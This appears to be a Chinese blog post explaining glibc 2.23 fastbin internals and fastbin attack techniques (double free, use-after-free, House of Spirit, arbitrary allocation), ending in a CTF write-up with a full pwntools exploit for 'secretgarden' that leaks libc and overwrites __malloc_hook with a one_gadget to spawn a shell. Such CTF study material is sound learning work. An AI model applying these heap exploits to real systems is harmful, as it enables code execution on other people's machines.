Fastbin attack

本文参考了ctf-wiki 和glibc

要了解fastbin attack,我们先要了解fastbin的机制。由于libc2.26后加入了tcache机制,我们这里就只分析glibc 2.23。

下面的代码选自glibc 2.23 (有删除)

static void _int_free (mstate av, mchunkptr p, int have_lock)
{
size = chunksize (p); //获取p的size
check_inuse_chunk(av, p);//检查p的物理相邻的下一个堆块的inuse位是否置1 //检查p的大小是否小于global_max_fast
if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())
#if TRIM_FASTBINS
//检查p物理相邻的堆块是否是top chunk
&& (chunk_at_offset(p, size) != av->top)
#endif
)
{
//检查p的物理相邻下个堆块是否存在,且大小是否满足最小和最大要求
if (__builtin_expect (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect (chunksize (chunk_at_offset (p, size))
>= av->system_mem, 0))
{.......} //对chunk的data块通过memset赋值,但是默认情况下是不进行操作
free_perturb (chunk2mem(p), size - 2 * SIZE_SZ);
//设置 malloc_state的flag
set_fastchunks(av); //获取p对应大小的fastbinY的索引
unsigned int idx = fastbin_index(size);
//fb指向对应大小的fastbinY的地址
fb = &fastbin (av, idx); /* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */
// old为 对应大小的fastbinY的fd值,也就是第一个对块的地址
mchunkptr old = *fb, old2;
unsigned int old_idx = ~0u; do
{
// Check that the top of the bin is not the record we are going to add
//检查 fastbin中对应的bin的第一项 是否 等于 p (新加入的堆块)
if (__builtin_expect (old == p, 0))
{
errstr = "double free or corruption (fasttop)";
goto errout;
}
//获取 fastbin中对应的bin的第一项的索引。
if (have_lock && old != NULL)
old_idx = fastbin_index(chunksize(old));
//让 p 的fd指向 顶部的fastbin块
p->fd = old2 = old;
}
while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2)) != old2);
//catomic_compare_and_exchange_val_rel 功能是 如果*fb等于old2,则将*fb存储为p,返回old2;
// *fb=p 也就是 让对应fastbin的fd指向 p(新加入的堆块) //检查fastbin中对应的bin的第一项的大小是否与p(要添加的块)的大小相同。
if (have_lock && old != NULL && __builtin_expect (old_idx != idx, 0))
{
errstr = "invalid fastbin entry (free)";
goto errout;
}
}
}
#define fastbin_index(sz) ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)

可以看到fastbin 只是检查了fastbin 第一个chunk是否与新加入的chunk相同。所以我们可以使用free(0) free(1) free(0) 的方式来达到double free。之后还检查大小是否满足要求,通过size算出fastbin_index然后再比对。如果对应的fastbinY的大小为0x70,64位的话size可以在0~0xF之间浮动,也就是说size为0x70-0x7f都会被认为是合法的。32为同理,在0-0x7之间浮动。

利用的前提:

  • 能创建 fastbin 类型的 chunk

  • 存在堆溢出、use-after-free 等能控制 chunk 内容的漏洞

如果细分的话,可以做如下的分类:

  • Fastbin Double Free

    即利用double free漏洞构造chunk如下图所示

    我们首先申请回chunk1然后修改其fd值指向一个fake_chunk,这里的chunk要保证size域合法,我们再次申请3次同样的chunk,就会依次拿到chunk2,chunk1,fake_chunk。我们只要在关键位置伪造fake_chunk就可以了。例如在malloc_hook左右伪造fake_chunk,然后修改malloc_hook的值为one_gadget就可以在调用malloc时get_shell。

  • UAF

    同Fastbin Double Free利用手法相似,只不过只需free一次,然后修改FD指针指向fake_chunk。

  • House of Spirit

    该技术的核心在于在目标位置处伪造 fastbin chunk,并将其释放,再申请回来,从而达到分配指定地址的 chunk 的目的。

    1. 可以 free 你指定的位置的fake_chunk。

    2. 要想构造 fastbin fake chunk,并且将其释放时,可以将其放入到对应的 fastbin 链表中,需要绕过一些必要的检测,即

      • fake chunk 的 ISMMAP 位不能为1,因为 free 时,如果是 mmap 的 chunk,会单独处理。

      • fake chunk 地址需要对齐, 32位8字节对齐,64为16字节对齐

      • fake chunk 的 size 大小需要满足对应的 fastbin 的需求。

      • fake chunk 的 next chunk 的大小合理。

  • Alloc to Stack

    该技术的核心点在于劫持 fastbin 链表中 chunk 的 fd 指针,把 fd 指针指向我们想要分配的栈上,从而实现控制栈中的一些关键数据,比如返回地址等。

  • Arbitrary Alloc

    Arbitrary Alloc 其实与 Alloc to stack 是完全相同的,唯一的区别是分配的目标不再是栈中。我们可以把 chunk 分配到任意的可写内存中,比如bss、heap、data、stack等等。

小结:以上是fastbin attack的集中方法,总结起来就是3步:

1.  伪造合理的chunk
2. 使fd指向fake_chunk,或者free fake_chunk。 使得fake_chunk加入到fastbin中
3. 分配得到fake_chunk,进行后续利用

例题

hitcontraining_secretgarden ,本题libc 为2.23

首先检查一下保护

main函数,有增删查,没有改。

漏洞点,del函数free的时候指针没有清零。并且free前没有检查flowerlist[i][0]的值是否为1

其他都是常规操作,我就不一一细讲了。

程序留有后门,我们也可以劫持函数的got来实现调用后门。但是我们这里使用的是劫持__malloc_hook,由于one_gadget不能用,我们通过__libc_realloc改变栈环境,使得one_gadget条件成立。

from pwn import *
context.log_level = 'debug'
p = process('./secretgarden')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so') def add(length,name,color):
p.sendlineafter('Your choice : ','1')
p.sendlineafter('name :',str(length))
p.sendafter('flower :',name)
p.sendlineafter('flower :',color)#0x17 def show():
p.sendlineafter('Your choice : ','2') def delete(idx):
p.sendlineafter('Your choice : ','3')
p.sendlineafter('garden:',str(idx)) #----------------leak libc ---------------#
add(0x80,'A'*0x80,'B'*23)#0
add(0x80,'B'*0x80,'B'*23)#1 delete(0) #将其置入unsorted bin add(0x50,'E'*8,'B'*23)#2
show()
p.recvuntil('EEEEEEEE')
libc_base = u64(p.recvuntil('\n',drop=True).ljust(8,'\x00')) - 0x3c4b78
print 'libc_base: '+hex(libc_base)
one = [0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget = libc_base + one[1]
#-------------- double free ---------------# add(0x68,'A'*0x68,'B'*23)#3
add(0x68,'B'*0x68,'B'*23)#4
delete(3)
delete(4)
delete(3) #fastbinY(0x70) -> 3 -> 4 ->3 #--------------fastbin attack --------------#
add(0x68,p64(libc_base+libc.symbols['__malloc_hook']-0x23),'B'*23)#5
add(0x68,'A'*0x68,'B'*23)#6
add(0x68,'A'*0x68,'B'*23)#7
add(0x68,'\x00'*0xb+p64(one_gadget)+p64(libc_base+libc.symbols['__libc_realloc']+8),'B'*23)
#gdb.attach(p)
p.sendlineafter('Your choice : ','1') p.interactive()

Fastbin attack 总结的更多相关文章

  1. Fastbin attack

    Fastbin Attack 暂时接触到了两种针对堆分配机制中fastbin的攻击方式,double free和house of spirit Double free 基本原理 与uaf是对free之 ...

  2. Fastbin attack——Double Free

    ptmalloc ptmalloc的基本思路是将堆上的内存区域划分为多个chunk,在分配/回收内存时,对chunk进行分割.回收等操作.在32位系统下,chunk头的大小为8 Bytes,且每个ch ...

  3. fastbin attack学习小结

    fastbin attack学习小结   之前留在本地的一篇笔记,复习一下. 下面以glibc2.23为例,说明fastbin管理动态内存的细节.先看一下释放内存的管理: if ((unsigned  ...

  4. pwn with glibc heap(堆利用手册)

    前言 ​ 对一些有趣的堆相关的漏洞的利用做一个记录,如有差错,请见谅. ​ 文中未做说明 均是指 glibc 2.23 ​ 相关引用已在文中进行了标注,如有遗漏,请提醒. 简单源码分析 ​ 本节只是简 ...

  5. off by null 实战

    前言 off by null 是一个比较有意思的技术 下面通过 hctf2018 的 heapstrom_zero 实战一波. 相关文件(exp, 题目)位于 https://gitee.com/ha ...

  6. 胖哈勃杯Pwn400、Pwn500详解

    概述 这次的胖哈博杯我出了Pwn400.Pwn500两道题目,这里讲一下出题和解题的思路.我个人感觉前两年的Pwn题更多的是考察单一的利用技巧,比我这有个洞怎么利用它拿到权限.但是我研究了一些最近的题 ...

  7. 网鼎杯 pwn 记录

    题目位置 https://gitee.com/hac425/blog_data/tree/master/wdb babyheap 通过分配和释放构建 2 个 fastbin 链 利用 show 功能, ...

  8. 0ctf2017-babyheap

    前言 又是一道令人怀疑人生的 baby 题. 这道题利用思路非常巧妙,通过 堆溢出 和 fastbin 的机制构造了 information leak, 然后通过 fastbin attack 可以读 ...

  9. 0ctf2018 pwn

    前言 对 0ctf2018 的 pwn 做一个总结 正文 babystack 漏洞 非常直接的 栈溢出 ssize_t sub_804843B() { char buf; // [esp+0h] [e ...

随机推荐

  1. 关于MacBook Air/Pro 外接显示器时,显示器黑屏无反应的解决方法,顺便求助M1芯片的mac 外接显示器如何开启Hidpi

    显示器黑屏,无反应,频繁闪烁的原因 先说结论,直接换type-c转DP的显示器连接线吧,如果显示器不支持dp接口,那自求多福吧. 事情是这样的,m1版本的macbook air 刚发布就马上入手了一台 ...

  2. java算法题

    1.下面输出结果是什么? public class Test { public static void main(String[] args) { Person person=new Person(& ...

  3. 一文吃透如何部署kubernetes高可用集群

    使用 k8s 官方提供的部署工具 kubeadm 自动安装,需要在 master 和 node 节点上安装 docker 等组件,然后初始化,把管理端的控制服务和 node 上的服务都以 pod 的方 ...

  4. GNS3通过“云”连接到虚拟机实验

    GNS3通过"云"连接到虚拟机实验并使用wireshark工具对数据分析 观看本文之前注意!!!!! 做这次实验,我所遇到的问题,会全部写在文章结尾,如果读者们遇到问题,可查看. ...

  5. js 数组的浅拷贝和深拷贝

    1.背景介绍 javascript分原始类型与引用类型.Array是引用类型,直接用"="号赋值的话,只是把源数组的地址(或叫指针)赋值给目的数组,指向的是同一个内存地址,其中一个 ...

  6. 爬虫必知必会(3)_requests模块高级

    一.爬虫爬取失败的几个原因 1.在短时间内向网站发起了一个高频的请求 解决办法:使用代理 2.连接池(http)中的资源被耗尽 解决办法:立即将请求断开:Connection:close 3.高清图片 ...

  7. 给出镜像FreeBSD 基本要求

    硬盘 ports 500G update 500G portsnap 500G pkg arm64 amd64 i386 11-12-13 4TB 网络流量一个月专线大概2w RMB CPU 内存 其 ...

  8. WPF 基础 - 点击事件的执行顺序及 Button 点击事件的特殊性

    1. 点击事件的执行顺序 PreviewMouseLeftButtonDown PreviewMouseDown MouseLeftButtonDown MouseDown PreviewMouseL ...

  9. 一个通用驱动Makefile-V2-支持编译多目录

    目录 前言 1. 特点 2. 分析 2.1 简要原理 2.2 具体分析 3. 源码 前言 该 Makefile 已经通过基于内核 Linux5.4 版本验证通过. 因为编写这通用驱动 Makefile ...

  10. MySQL语法基础

    一.通用语法 1.MySQL数据库的SQL语句不区分大小写 2.可以用/**/完成注释 3.常用数据类型 类型 描述 int 整型 double 浮点型 varchar 字符串型 date 日期类型, ...